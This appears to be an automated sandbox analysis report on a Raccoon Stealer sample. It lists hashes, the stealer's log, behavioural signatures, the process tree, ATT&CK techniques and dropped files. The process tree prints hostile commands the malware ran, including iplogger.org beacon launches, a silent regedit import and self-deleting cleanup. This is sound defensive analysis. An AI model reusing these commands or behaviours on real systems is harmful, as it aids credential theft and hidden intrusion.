Analysis

  • max time kernel
    151s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    09-07-2020 07:30

General

  • Target

    5c3f290a320c2d8ddadb17bc0ca24a1c.exe

  • Size

    871KB

  • MD5

    5c3f290a320c2d8ddadb17bc0ca24a1c

  • SHA1

    7d64c65fba63316cb22acdabf0364b6d422c9dc5

  • SHA256

    187d04160e01139032bda25e76ff06cc0476798dedc6e6ec465b9b2c728a3304

  • SHA512

    3fc14802fff750c5925144727a32af3cad7d330c26320062fc0aeabbaf8fc0f92fab97c3ac51512396cdb0793b5f5464735debcc92bfc386f116ad84c6ff88e0

Malware Config

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note
[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:03 2020 Launched at: 2020.07.09 - 09:30:03 GMT Bot_ID: 58B98E61-8F0C-4164-9CA8-CBDF20304A02_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 0 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: DJRWGDLZ - Username: Admin - Windows version: NT 6.1 - Product name: Windows 7 Professional - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 2047 MB (476 MB used) - Screen resolution: 1280x720 - Display devices: 0) Standard VGA Graphics Adapter ============

Signatures

  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Checks whether UAC is enabled 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Checks for installed software on the system 1 TTPs 62 IoCs
  • Loads dropped DLL 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Modifies Internet Explorer settings 1 TTPs 63 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Drops file in Windows directory 1 IoCs
  • Raccoon log file 1 IoCs

    Detects a log file produced by the Raccoon Stealer.

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 4 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Executes dropped EXE 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5c3f290a320c2d8ddadb17bc0ca24a1c.exe
    "C:\Users\Admin\AppData\Local\Temp\5c3f290a320c2d8ddadb17bc0ca24a1c.exe"
    1⤵
    • Checks for installed software on the system
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    • Drops file in Windows directory
    PID:1520
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1Ldta7.html
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of FindShellTrayWindow
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      • Modifies Internet Explorer settings
      PID:868
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:868 CREDAT:275457 /prefetch:2
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Checks whether UAC is enabled
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:1624
    • C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
      "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"
      2⤵
      • Checks for installed software on the system
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:532
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1524
        • C:\Windows\SysWOW64\timeout.exe
          timeout /T 10 /NOBREAK
          4⤵
          • Delays execution with timeout.exe
          PID:1180
    • C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
      "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Checks processor information in registry
      • Checks for installed software on the system
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:764
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c taskkill /im wotsuper1.exe /f & erase C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1584
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im wotsuper1.exe /f
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Kills process with taskkill
          PID:924
    • C:\Windows\SysWOW64\regedit.exe
      "C:\Windows\System32\regedit.exe" \s C:\Windows\wotsuper.reg
      2⤵
      • Runs .reg file with regedit
      PID:1056
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1smEq7.html
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of FindShellTrayWindow
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      • Modifies Internet Explorer settings
      PID:1532
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1532 CREDAT:275457 /prefetch:2
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Checks whether UAC is enabled
        • Modifies Internet Explorer settings
        PID:1648

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Collection

Data from Local System

2
T1005

Command and Control

Web Service

1
T1102

Replay Monitor

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Downloads

  • C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
  • C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
  • C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C954CE05407CAD0B91F1461CBC854DCE
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C954CE05407CAD0B91F1461CBC854DCE
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C954CE05407CAD0B91F1461CBC854DCE
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C954CE05407CAD0B91F1461CBC854DCE
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C954CE05407CAD0B91F1461CBC854DCE
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C954CE05407CAD0B91F1461CBC854DCE
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08
  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{BA506DE1-C1C6-11EA-B7FF-F205960D58DB}.dat
  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{BAB6C901-C1C6-11EA-B7FF-F205960D58DB}.dat
  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\ntg0b04\imagestore.dat
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\G6PZ2T8A\favicon[2].ico
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\2I411U6M.txt
  • \Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
  • \Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
  • \Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
  • \Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
  • \ProgramData\mozglue.dll
  • \ProgramData\msvcp140.dll
  • \ProgramData\nss3.dll
  • \ProgramData\vcruntime140.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\msvcp140.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll
  • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\vcruntime140.dll
  • \Users\Admin\AppData\LocalLow\sqlite3.dll
  • memory/532-12-0x00000000035E0000-0x00000000035F1000-memory.dmp
    Filesize

    68KB

  • memory/532-11-0x00000000033AA000-0x00000000033AB000-memory.dmp
    Filesize

    4KB

  • memory/532-3-0x0000000000000000-mapping.dmp
  • memory/764-7-0x0000000000000000-mapping.dmp
  • memory/868-0-0x0000000000000000-mapping.dmp
  • memory/924-38-0x0000000000000000-mapping.dmp
  • memory/1056-9-0x0000000000000000-mapping.dmp
  • memory/1180-47-0x0000000000000000-mapping.dmp
  • memory/1524-46-0x0000000000000000-mapping.dmp
  • memory/1532-10-0x0000000000000000-mapping.dmp
  • memory/1584-37-0x0000000000000000-mapping.dmp
  • memory/1624-14-0x0000000000000000-mapping.dmp
  • memory/1648-13-0x0000000000000000-mapping.dmp